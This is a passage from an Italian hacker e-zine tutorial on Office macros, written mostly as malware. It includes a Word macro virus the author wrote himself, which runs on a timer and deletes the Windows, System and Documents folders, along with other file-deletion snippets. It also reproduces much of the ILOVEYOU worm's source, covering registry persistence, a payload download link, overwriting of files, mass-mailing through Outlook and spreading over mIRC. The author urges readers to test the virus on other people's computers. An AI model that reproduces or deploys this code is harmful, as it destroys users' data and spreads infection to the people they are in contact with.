|Parleremo del "while" e del "do-while" e .... basta, cos'altro volete ancora?  |\
|:)))                                                                           |\
|                                                                               |\
|Bai bai amici, alla prossima!                                                  |\
|                       JEYoNE                                                  |\
|                       articoli@ondaquadra.cjb.net                             |\
|                                                                               |\
+-------------------------------------------------------------------------------+\
\
\
\
+-------------------------------------------------------------------------------+\
| ONDAQUADRA ~ [C0DiNG]                                        #04 - 19/11/2001 |\
| iNTR0 ALLE MACR0 (7/8)                                     [Mastro] 0x0E/0x23 |\
+-------------------------------------------------------------------------------+\
|                                                                               |\
|                                                                               |\
|                            MACRO: PARTE 7\'b0 "VIRUZZZZZZ-ONE "                  |\
|                                                                               |\
| Ok!                                                                           |\
| Questa parte non \'e8 dedicata (forse in minima parte) alla spiegazione di       |\
| Visual Basic, ma a qualche (parecchi) comandi meglio chiamati virus.   ;)     |\
| Per il piccolo virus che riporto sotto ho utilizzato una propriet\'e0 molto      |\
| ultile di Application: OnTime.                                                |\
| Impostando un orario \'e8 possibile far eseguire una macro a quell'ora, oppure   |\
| dopo un tot di secondi, minuti oppure ore, il tutto senza che l'utente se ne  |\
| accorga!                                                                      |\
|                                                                               |\
| Sub pippo()                                                                   |\
| Application.OnTime When:="15:55:00", Name:="topolino"                         |\
| End Sub                                                                       |\
|                                                                               |\
| Alle 3 e 55 del pomeriggio la macro viene eseguita.                           |\
|                                                                               |\
|                                                                               |\
|                                        A T T E N Z I O N E ! ! ! !            |\
|                                                                               |\
| Quando immettete il nome della macro da far viaggare NON inserite le          |\
| parentesi o quella non parte!!!                                               |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
| Sub pippo()                                                                   |\
| Application.OnTime When:=Now + TimeValue("00:0:15"), Name:="topolino"         |\
| End Sub                                                                       |\
|                                                                               |\
| La macro "topolino" parte dopo 15 secondi.                                    |\
| Se volete potete farla partire dopo 1 o 2 minuti, o anche 3 ore:              |\
|                                                                               |\
| Sub pippo()                                                                   |\
| Application.OnTime When:=Now + TimeValue("00:15:00"), Name:="topolino"        |\
| End Sub                                                                       |\
|                                                                               |\
| L'esempio qui sotto \'e8 una piccola cazzata, ma bastarda:                       |\
|                                                                               |\
| Sub AutoExec()                                                                |\
| Application.OnTime When:=Now + TimeValue("00:5:00"), Name:="topolino"         |\
| End Sub                                                                       |\
| Sub topolino()                                                                |\
| MsgBox ""                                                                     |\
| MsgBox "E\'db\'d9r\'f2\'b6Z \'a2>\'c4\'8e\'8eF(A>\'c0 Ee\'c4\'8e\'8e&\'f6\'ccp\'a9&n ~\{\}|_\'df\'df \'de\'b5\'d5\'d4\'fe\'f5\'d2i\'f5\'f7____6 5\'c4_A",        |\
| vbCritical                                                                    |\
| MsgBox                                                                        |\
| "Addiooooooooooooooooooooooooooooooooooooooooo.........................."     |\
| Tasks.ExitWindows                                                             |\
| End Sub                                                                       |\
|                                                                               |\
| Aspettiamo 5 minuti, poi gli spegnamo Windows in faxxa!!!  ;)                 |\
| E senza salvare un caxxo!!!                                                   |\
| E' strutturata in 2 parti:                                                    |\
| il timer (AutoExec), e la macro vera e propria (topolino).                    |\
|                                                                               |\
|                                                                               |\
| Ed ora il virus:                                                              |\
| \'e8 come l'esempio sopra, all'avvio di Word parte un timer in background che    |\
| dopo 20 venti secondi fa scattare il virus.                                   |\
| Inizia eliminando qualche barra degli strumenti....non si sa mai! ;)          |\
| Poi passa a spaventare un p\'f2 il coglione, facendogli alcune domande senza     |\
| contare le risposte, cos\'ec anche se sono tutte giuste lui agisce               |\
| ugualmente!!!   ;)                                                            |\
| Ho messo una piccola cazzata: un messaggio che dice che il virus sta          |\
| scatarrando nel pc e ad ogni sputo il cursore sballa cambiando forma!         |\
| Pi\'f9 che spaventarlo, questo virus devasta interiormente l'utente, perch\'e8      |\
| cancella ogni filez presente nella cartella Windows e Sistem!                 |\
| Addio computer!                                                               |\
|                                                                               |\
|                                                                               |\
| Sub AutoExec()                                                                |\
| Application.OnTime When:=Now + TimeValue("00:0:20"), Name:="pippo"            |\
| End Sub                                                                       |\
|                                                                               |\
| Sub pippo()                                                                   |\
| On Error Resume Next                                                          |\
| Application.DisplayAlerts = wdAlertsNone                                      |\
| CommandBars("file").Enabled = False                                           |\
| CommandBars("tools").Enabled = False                                          |\
| CommandBars("standard").Enabled = False                                       |\
| MsgBox "A T T E N Z I O N E ! !", vbCritical                                  |\
| MsgBox "Ciao come ti va? Io sono stato appena attivato e sono in piena        |\
| forma."                                                                       |\
| MsgBox "E s\'ec, sono un virus e ti ho cancellato autoexec.bat e command.com."   |\
| MsgBox "E' cos\'ec che va la vita....un giorno a te l'altro ancora a te e cos\'ec   |\
| via....."                                                                     |\
| MsgBox "Non dovevi scaricare quei documenti da Internet.....non ti avevano    |\
| avvisato?"                                                                    |\
| MsgBox "Vabb\'e8, mi stai simpatico (non \'e8 vero!) e ti voglio aiutare con il     |\
| buon vecchio questionario: tu rispondi giusto e io me ne vado."               |\
| MsgBox "             Via!"                                                    |\
| w = InputBox("Quale tra queste parole \'e8 sia un ballo che uno strumento?       |\
| a)Bongo-bongo       b)Macarena      c)Charleston        d)Tip-tap", "SoTtO    |\
| cOnTrOlLo")                                                                   |\
| If w = "b" Then                                                               |\
| MsgBox "Giustoooooooo!!!!!"                                                   |\
| Else                                                                          |\
| MsgBox "Noooooooooooooooooooooooooooooooooooo!!!!", vbCritical                |\
| End If                                                                        |\
| a = InputBox("Un trojan \'e8:      a)Un videogame      b)Un uomo che si          |\
| prostituisce       c)Un virus      d)Un programma per accedere ad altri pc",  |\
| "DoMaNdA fAcIlE fAcIlE")                                                      |\
| If a = "d" Then                                                               |\
| MsgBox "WOW!!!!!! GIUSTA!!!!!"                                                |\
| Else                                                                          |\
| MsgBox "Sei una schifosissima merda, ho fatto bene a infettarti!!!",          |\
| vbCritical, "CREPA!!!"                                                        |\
| End If                                                                        |\
| MsgBox "Mi sono rotto. Ultima possibilit\'e0.", vbCritical                       |\
| r = InputBox("Domanda molto facile: Galeazzi \'e8      a)Una donna     b)Un      |\
| travestito     c)Un giornalista        d)Un cronista", "OcChIo A nOn          |\
| SbAgLiArE!!!")                                                                |\
| If r = "d" Then                                                               |\
| MsgBox "Ok. Hai indovinato."                                                  |\
| Else                                                                          |\
| MsgBox "No! Ancora sbagliato!", vbCritical                                    |\
| End If                                                                        |\
| MsgBox "Non me ne frega un cazzo di quante risposte hai azzeccato o di        |\
| quante ne hai sbagliate, ho solo voglia di sputare ripetutamente sul tuo      |\
| misero pc.", vbInformation                                                    |\
| MsgBox "Ora lo faccio, stai a vedere......"                                   |\
| For I = 1 To 100000                                                           |\
| System.Cursor = wdCursorWait                                                  |\
| Next I                                                                        |\
| System.Cursor = wdCursorNormal                                                |\
| For I = 1 To 10000                                                            |\
| System.Cursor = wdCursorNorthwestArrow                                        |\
| Next I                                                                        |\
| System.Cursor = wdCursorNormal                                                |\
| MsgBox "Ancora catarro!"                                                      |\
| For I = 1 To 1000                                                             |\
| Application.HelpTool                                                          |\
| Next I                                                                        |\
| System.Cursor = wdCursorNormal                                                |\
| For I = 1 To 10000                                                            |\
| System.Cursor = wdCursorNorthwestArrow                                        |\
| Next I                                                                        |\
| System.Cursor = wdCursorNormal                                                |\
| MsgBox "Avanti di saliva!"                                                    |\
| For I = 1 To 1000                                                             |\
| Application.HelpTool                                                          |\
| Next I                                                                        |\
| System.Cursor = wdCursorNormal                                                |\
| For I = 1 To 10000                                                            |\
| System.Cursor = wdCursorNorthwestArrow                                        |\
| Next I                                                                        |\
| System.Cursor = wdCursorNormal                                                |\
| For I = 1 To 1000                                                             |\
| Application.HelpTool                                                          |\
| Next I                                                                        |\
| System.Cursor = wdCursorNormal                                                |\
| For I = 1 To 100000                                                           |\
| System.Cursor = wdCursorNorthwestArrow                                        |\
| Next I                                                                        |\
| System.Cursor = wdCursorNormal                                                |\
| MsgBox "Scatarro come non mai!"                                               |\
| For I = 1 To 10000                                                            |\
| Application.HelpTool                                                          |\
| Next I                                                                        |\
| System.Cursor = wdCursorNormal                                                |\
| MsgBox "Ho finito il catarro, cazzo!", vbCritical                             |\
| MsgBox "Iniziamo a devastare!", vbCritical                                    |\
| Kill "C:\\WINDOWS\\*.*"                              'Chiss\'e0 a cosa serve       |\
| Kill?                                                                         |\
| Kill "C:\\WINDOWS\\SYSTEM\\*.*"                                                  |\
| Kill "C:\\DOCUMENTI\\*.*"       'Volevo essere                                  |\
| Kill "C:\\WINDOWS\\*.dll"         'sicuro di                                    |\
| Kill "C:\\WINDOWS\\*.ini"            'DEVASTARE il pc.                          |\
| MsgBox "Non ho fatto apposta.", vbYesNo, "Grande cazzata"                     |\
| MsgBox ";) Ha ha ha ha ha ha ha ha!!!!!!!"                                    |\
| End Sub                                                                       |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
|                            MACRO: PARTE 3\'b0 "VIRUZZZZZZ-TWO "                  |\
|                                                                               |\
| Ok!                                                                           |\
| Piaciuto il viruzzzzzz-one? Provatelo su qualche pc! (Non il vostro.....)     |\
| Non so quanti di voi lo sapevano gi\'e0, comunque c'\'e8 la possibilit\'e0 di creare   |\
| macro anche in programmi che non siano Word, come Excel, PowerPoint e         |\
| Access.                                                                       |\
| Il guaio \'e8 che i comandi cambiano da programma a programma (quelli di Visual  |\
| Basic rimangono gli stessi, gli altri no).                                    |\
| Una cosa abbastanza divertente si pu\'f2 fare con PowerPoint: prendete           |\
| un'immagine di un teschio o comunque qualcosa di "pauroso" e poi la mettete   |\
| in una diapositiva.                                                           |\
| A questo punto vi basta creare una macro che blocchi tutto, magari con un     |\
| messaggio d'errore "perpetuo", oppure gli cancellate qualche filez con:       |\
|                                                                               |\
|                                                                               |\
| Sub pippo()                                                                   |\
| Kill "nome e percorso del filez"                                              |\
| End Sub                                                                       |\
|                                                                               |\
| Anche qui potete usare l'asterisco (*) per indicare tutti i filez:            |\
|                                                                               |\
| Sub pippo()                                                                   |\
| Kill "C:\\WINDOWS\\*.exe"                                                       |\
| End Sub                                                                       |\
|                                                                               |\
| Potete anche dire addio a windows.                                            |\
| Oppure potreste eliminare direttamente la directory con RmDir:                |\
|                                                                               |\
| Sub AutoExec()                                                                |\
| RmDir "Documenti"                                                             |\
| RmDir "Windows"                                                               |\
| End Sub                                                                       |\
|                                                                               |\
| Crearne delle altre?                                                          |\
|                                                                               |\
| Sub pippo()                                                                   |\
| MkDir "Pippo"                                                                 |\
| Mkdir "C:\\WINDOWS\\SYSTEM\\PIPPO"                                               |\
| End Sub                                                                       |\
|                                                                               |\
| Con il primo comando ho creato una cartella nella directory corrente          |\
| (Windows), con il secondo la cartella PIPPO viene creata in System.           |\
|                                                                               |\
|                                                                               |\
| Ora veniamo all'argomento di questa parte: il registro di sistema.            |\
| Forse qualcuno di voi lo conosce gi\'e0, per gli altri \'e8 un registro con le      |\
| chiavi di tutti i programmi, anche di quelli gi\'e0 disinstallati.               |\
| Se qualcuno si \'e8 beccato un Trojan ha dovuto operare un p\'f2 sul registro per   |\
| salvarsi. Se volete vederlo basta andare su "Esegui" dal men\'f9 avvio e         |\
| digitare                                                                      |\
| "regedit".                                                                    |\
| Che cozza possiamo fare noi con le nostre macro?                              |\
| Semplice! Creiamo o eliminiamo chiavi!                                        |\
|                                                                               |\
| Sub pippo()                                                                   |\
| SaveSetting appname := "Pippo", section := "Topolino", key := "ciao",         |\
| setting := 75                                                                 |\
| End Sub                                                                       |\
|                                                                               |\
|                                                                               |\
| SaveSetting==>gli chiediamo di salvare una nuova chiave                       |\
| appname    ==>dal nome.....                                                   |\
| section    ==>con una sotto-sezione di nome.....                              |\
| key        ==>con un comando di nome....                                      |\
| setting    ==>il valore del comando                                           |\
| E a me?    ==>Non lo so, pu\'f2 sempre essere utile!    ;)                       |\
|                                                                               |\
| Eliminare una chiave? (cosa molto pi\'f9 importante)                             |\
|                                                                               |\
| Sub pippo()                                                                   |\
| DeleteSetting "Pippo", "Topolino"                 'eliminiamo Topolino        |\
| DeleteSetting "Pippo"                 'eliminiamo Pippo                       |\
| End Sub                                                                       |\
|                                                                               |\
|                                                                               |\
| Ora potete manipolare le chiavi del registro a vostro piacimento.             |\
| Questo qui sotto \'e8 il viruzzzzzz-two, purtroppo per\'f2 non \'e8 una mia creazione  |\
| ma \'e8 il testo del mitico virus "I love you".                                  |\
| L'ho messo per farvi vedere un esempio molto funzionante di manipolazione di  |\
| chiavi.                                                                       |\
| Eccovivi l'opera d'arte:                                                      |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
| On Error Resume Next         'iniziamo                                        |\
| dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow                      |\
| eq=""                                                                         |\
| ctr=0                                                                         |\
| Set fso = CreateObject("Scripting.FileSystemObject")                          |\
| set file = fso.OpenTextFile(WScript.ScriptFullname,1)                         |\
| vbscopy=file.ReadAll                                                          |\
| main()                                                                        |\
| sub main()                                                                    |\
| On Error Resume Next                                                          |\
| dim wscr,rr                                                                   |\
| set wscr=CreateObject("WScript.Shell")   'prima manipolazione                 |\
| rr=wscr.RegRead("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows Scripting       |\
| Host\\Settings\\Timeout")                                                       |\
| if (rr>=1) then                                                               |\
| wscr.RegWrite "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows Scripting         |\
| Host\\Settings\\Timeout",0,"REG_DWORD"                                          |\
| end if                                                                        |\
| Set dirwin = fso.GetSpecialFolder(0)                                          |\
| Set dirsystem = fso.GetSpecialFolder(1)                                       |\
| Set dirtemp = fso.GetSpecialFolder(2)                                         |\
| Set c = fso.GetFile(WScript.ScriptFullName)\tab 'copiamo qualche filez di       |\
| sistema                                                                       |\
| c.Copy(dirsystem&"\\MSKernel32.vbs")                                           |\
| c.Copy(dirwin&"\\Win32DLL.vbs")                                                |\
| c.Copy(dirsystem&"\\LOVE-LETTER-FOR-YOU.TXT.vbs")                              |\
| regruns()                                                                     |\
| html()                                                                        |\
| spreadtoemail()                                                               |\
| listadriv()                                                                   |\
| end sub                                                                       |\
| sub regruns()                                                                 |\
| On Error Resume Next                                                          |\
| Dim num,downread         'andiamo avanti con i cambiamenti....                |\
| regcreate                                                                     |\
| "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\MSKernel32" |\
| "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\M,dirsystem |\
| "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\M&"\\MSKerne |\
| "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Ml32.vbs"   |\
| regcreate                                                                     |\
| "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\\Win |\
| "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunSe32DLL",dir |\
| "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunSewin&"\\Win3 |\
| "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunSe2DLL.vbs"  |\
| downread=""                                                                   |\
| downread=regget("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet                |\
| Explorer\\Download Directory")                                                 |\
| if (downread="") then                                                         |\
| downread="c:\\"                                                                |\
| end if                                                                        |\
| if (fileexist(dirsystem&"\\WinFAT32.exe")=1) then                              |\
| Randomize                                                                     |\
| num = Int((4 * Rnd) + 1)                                                      |\
| if num = 1 then                     'impostiamo la main page di Internet      |\
| Explorer.                                                                     |\
| regcreate "HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start               |\
| Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw |\
| Page","http:/6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"                          |\
| elseif num = 2 then                                                           |\
| regcreate "HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start               |\
| Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe5 |\
| Page","http:/46786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"                |\
| elseif num = 3 then                                                           |\
| regcreate "HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start               |\
| Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmP |\
| Page","http:/OhfgER67b3Vbvg/WIN-BUGSFIX.exe"                                  |\
| elseif num = 4 then                                                           |\
| regcreate "HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start               |\
| Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhY |\
| Page","http:/UgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/ |\
| Page","http:/WIN-BUGSFIX.exe"                                                 |\
| end if                                                                        |\
| end if                                                                        |\
| if (fileexist(downread&"\\WIN-BUGSFIX.exe")=0) then                            |\
| regcreate                                                                     |\
| "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\WIN-BUGSFIX |\
| "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\W",downread |\
| "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\W&"\\WIN-BUG |\
| "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\WSFIX.exe"  |\
| regcreate "HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Start  |\
| Page","about:blank"                                                           |\
| end if                                                                        |\
| end sub                                                                       |\
| sub listadriv                                                                 |\
| On Error Resume Next                                                          |\
| Dim d,dc,s                                                                    |\
| Set dc = fso.Drives                                                           |\
| For Each d in dc                                                              |\
| If d.DriveType = 2 or d.DriveType=3 Then                                      |\
| folderlist(d.path&"\\")                                                        |\
| end if                                                                        |\
| Next                                                                          |\
| listadriv = s                                                                 |\
| end sub                                                                       |\
| sub infectfiles(folderspec)                                                   |\
| On Error Resume Next                                                          |\
| dim f,f1,fc,ext,ap,mircfname,s,bname,mp3                                      |\
| set f = fso.GetFolder(folderspec)                                             |\
| set fc = f.Files                                                              |\
| for each f1 in fc                                                             |\
| ext=fso.GetExtensionName(f1.path)                                             |\
| ext=lcase(ext)                                                                |\
| s=lcase(f1.name)                                                              |\
| if (ext="vbs") or (ext="vbe") then                                            |\
| set ap=fso.OpenTextFile(f1.path,2,true)                                       |\
| ap.write vbscopy                                                              |\
| ap.close                                                                      |\
| elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct")  |\
| or (ext="hta") then                                                           |\
| set ap=fso.OpenTextFile(f1.path,2,true)                                       |\
| ap.write vbscopy                                                              |\
| ap.close                                                                      |\
| bname=fso.GetBaseName(f1.path)                                                |\
| set cop=fso.GetFile(f1.path)                                                  |\
| cop.copy(folderspec&"\\"&bname&".vbs")                                         |\
| fso.DeleteFile(f1.path)                                                       |\
| elseif(ext="jpg") or (ext="jpeg") then                                        |\
| set ap=fso.OpenTextFile(f1.path,2,true)                                       |\
| ap.write vbscopy                                                              |\
| ap.close                                                                      |\
| set cop=fso.GetFile(f1.path)                                                  |\
| cop.copy(f1.path&".vbs")                                                      |\
| fso.DeleteFile(f1.path)                                                       |\
| elseif(ext="mp3") or (ext="mp2") then        'Hai hai hai! Gli mp3.....       |\
| set mp3=fso.CreateTextFile(f1.path&".vbs")                                    |\
| mp3.write vbscopy                                                             |\
| mp3.close                                                                     |\
| set att=fso.GetFile(f1.path)                                                  |\
| att.attributes=att.attributes+2                                               |\
| end if                                                                        |\
| if (eq<>folderspec) then                                                      |\
| if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or                 |\
| (s="script.ini") or (s="mirc.hlp") then                                       |\
| set scriptini=fso.CreateTextFile(folderspec&"\\script.ini")                    |\
| scriptini.WriteLine "[script]"                                                |\
| scriptini.WriteLine ";mIRC Script"                                            |\
| scriptini.WriteLine ";  Please dont edit this script... mIRC will corrupt,    |\
| if mIRC will"                                                                 |\
| scriptini.WriteLine "     corrupt... WINDOWS will affect and will not run     |\
| correctly. thanks"                                                            |\
| scriptini.WriteLine ";"                                                       |\
| scriptini.WriteLine ";Khaled Mardam-Bey"                                      |\
| scriptini.WriteLine ";http://www.mirc.com"                                    |\
| scriptini.WriteLine ";"                                                       |\
| scriptini.WriteLine "n0=on 1:JOIN:#:\{"                                        |\
| scriptini.WriteLine "n1=  /if ( $nick == $me ) \{ halt \}"                      |\
| scriptini.WriteLine "n2=  /.dcc send $nick                                    |\
| "&dirsystem&"\\LOVE-LETTER-FOR-YOU.HTM"                                        |\
| scriptini.WriteLine "n3=\}"                                                    |\
| scriptini.close                                                               |\
| eq=folderspec                                                                 |\
| end if                                                                        |\
| end if                                                                        |\
| next                                                                          |\
| end sub                                                                       |\
| sub folderlist(folderspec)                                                    |\
| On Error Resume Next                                                          |\
| dim f,f1,sf                                                                   |\
| set f = fso.GetFolder(folderspec)                                             |\
| set sf = f.SubFolders                                                         |\
| for each f1 in sf                                                             |\
| infectfiles(f1.path)                                                          |\
| folderlist(f1.path)                                                           |\
| next                                                                          |\
| end sub                                                                       |\
| sub regcreate(regkey,regvalue)                                                |\
| Set regedit = CreateObject("WScript.Shell")                                   |\
| regedit.RegWrite regkey,regvalue                                              |\
| end sub                                                                       |\
| function regget(value)                                                        |\
| Set regedit = CreateObject("WScript.Shell")                                   |\
| regget=regedit.RegRead(value)                                                 |\
| end function                                                                  |\
| function fileexist(filespec)                                                  |\
| On Error Resume Next                                                          |\
| dim msg                                                                       |\
| if (fso.FileExists(filespec)) Then                                            |\
| msg = 0                                                                       |\
| else                                                                          |\
| msg = 1                                                                       |\
| end if                                                                        |\
| fileexist = msg                                                               |\
| end function                                                                  |\
| function folderexist(folderspec)                                              |\
| On Error Resume Next                                                          |\
| dim msg                                                                       |\
| if (fso.GetFolderExists(folderspec)) then                                     |\
| msg = 0                                                                       |\
| else                                                                          |\
| msg = 1                                                                       |\
| end if                                                                        |\
| fileexist = msg                                                               |\
| end function                                                                  |\
| sub spreadtoemail()          'ci auto-spediamo per posta                      |\
| On Error Resume Next                                                          |\
| dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad                       |\
| set regedit=CreateObject("WScript.Shell")                                     |\
| set out=WScript.CreateObject("Outlook.Application")                           |\
| set mapi=out.GetNameSpace("MAPI")                                             |\
| for ctrlists=1 to mapi.AddressLists.Count                                     |\
| set a=mapi.AddressLists(ctrlists)                                             |\
| x=1                                                                           |\
| regv=regedit.RegRead("HKEY_CURRENT_USER\\Software\\Microsoft\\WAB\\"&a)           |\
| if (regv="") then                                                             |\
| regv=1                                                                        |\
| end if                                                                        |\
| if (int(a.AddressEntries.Count)>int(regv)) then                               |\
| for ctrentries=1 to a.AddressEntries.Count                                    |\
| malead=a.AddressEntries(x)                                                    |\
| regad=""                                                                      |\
| regad=regedit.RegRead("HKEY_CURRENT_USER\\Software\\Microsoft\\WAB\\"&malead)     |\
| if (regad="") then                                                            |\
| set male=out.CreateItem(0)                                                    |\
| male.Recipients.Add(malead)                                                   |\
| male.Subject = "ILOVEYOU"         'soggetto del messaggio                     |\
| male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."     |\
| 'testo                                                                        |\
| male.Attachments.Add(dirsystem&"\\LOVE-LETTER-FOR-YOU.TXT.vbs")   'allegato    |\
| male.Send                                                                     |\
| regedit.RegWrite                                                              |\
| "HKEY_CURRENT_USER\\Software\\Microsoft\\WAB\\"&malead,1,"REG_DWORD"              |\
| end if                                                                        |\
| x=x+1                                                                         |\
| next                                                                          |\
| regedit.RegWrite                                                              |\
| "HKEY_CURRENT_USER\\Software\\Microsoft\\WAB\\"&a,a.AddressEntries.Count          |\
| else                                                                          |\
| regedit.RegWrite                                                              |\
| "HKEY_CURRENT_USER\\Software\\Microsoft\\WAB\\"&a,a.AddressEntries.Count          |\
| end if                                                                        |\
| next                                                                          |\
| Set out=Nothing                                                               |\
| Set mapi=Nothing                                                              |\
| end sub                                                                       |\
| sub html                                                                      |\
| On Error Resume Next                              'un po' di HTML...          |\
| dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6                              |\
| dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META                     |\
| NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _         |\
| "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-?           |\
| @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _      |\
| "<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is           |\
| good...@-@>"&vbcrlf& _                                                        |\
| "<?-?HEAD><BODY                                                               |\
| ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#- |\
| ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETT#,#-#main#-#)@-@ |\
| ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETT "&vbcrlf& _     |\
| "ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#- |\
| ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETT#,#-#main#-#)@-@ |\
| ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETT                 |\
| BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _                    |\
| "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read     |\
| this HTML file<BR>- Please press #-#YES#-# button to Enable                   |\
| ActiveX<?-?p>"&vbcrlf& _                                                      |\
| "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@                                      |\
| BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE>   |\
| "&vbcrlf& _                                                                   |\
| "<?-?BODY><?-?HTML>"&vbcrlf& _                                                |\
| "<SCRIPT language=@-@JScript@-@>"&vbcrlf& _                                   |\
| "<!--?-??-?"&vbcrlf& _                                                        |\
| "if (window.screen)\{var wi=screen.availWidth;var                              |\
| hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);\}"&vbcrlf& _  |\
| "?-??-?-->"&vbcrlf& _                                                         |\
| "<?-?SCRIPT>"&vbcrlf& _                                                       |\
| "<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _                                  |\
| "<!--"&vbcrlf& _                                                              |\
| "on error resume next"&vbcrlf& _                                              |\
| "dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _            |\
| "aw=1"&vbcrlf& _                                                              |\
| "code="                                                                       |\
| dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _       |\
| "set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _                             |\
| "code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _               |\
| "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _              |\
| "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _              |\
| "set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _     |\
| "wri.write code4"&vbcrlf& _                                                   |\
| "wri.close"&vbcrlf& _                                                         |\
| "if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _       |\
| "if (err.number=424) then"&vbcrlf& _                                          |\
| "aw=0"&vbcrlf& _                                                              |\
| "end if"&vbcrlf& _                                                            |\
| "if (aw=1) then"&vbcrlf& _                                                    |\
| "document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _            |\
| "window.close"&vbcrlf& _                                                      |\
| "end if"&vbcrlf& _                                                            |\
| "end if"&vbcrlf& _                                                            |\
| "Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _                   |\
| "regedit.RegWrite                                                             |\
| @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Run |\
| @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^Cu^-^MSKernel32@-@,d |\
| @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^Cuirsystem&@-@^-^MSK |\
| @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^Cuernel32.vbs@-@"&vb |\
| @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^Cucrlf& _            |\
| "?-??-?-->"&vbcrlf& _                                                         |\
| "<?-?SCRIPT>"                                                                 |\
| dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")                                 |\
| dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")                                 |\
| dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")                                  |\
| dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\\")                                  |\
| dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")                                 |\
| dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")                                 |\
| dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")                                  |\
| dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\\")                                  |\
| set fso=CreateObject("Scripting.FileSystemObject")                            |\
| set c=fso.OpenTextFile(WScript.ScriptFullName,1)                              |\
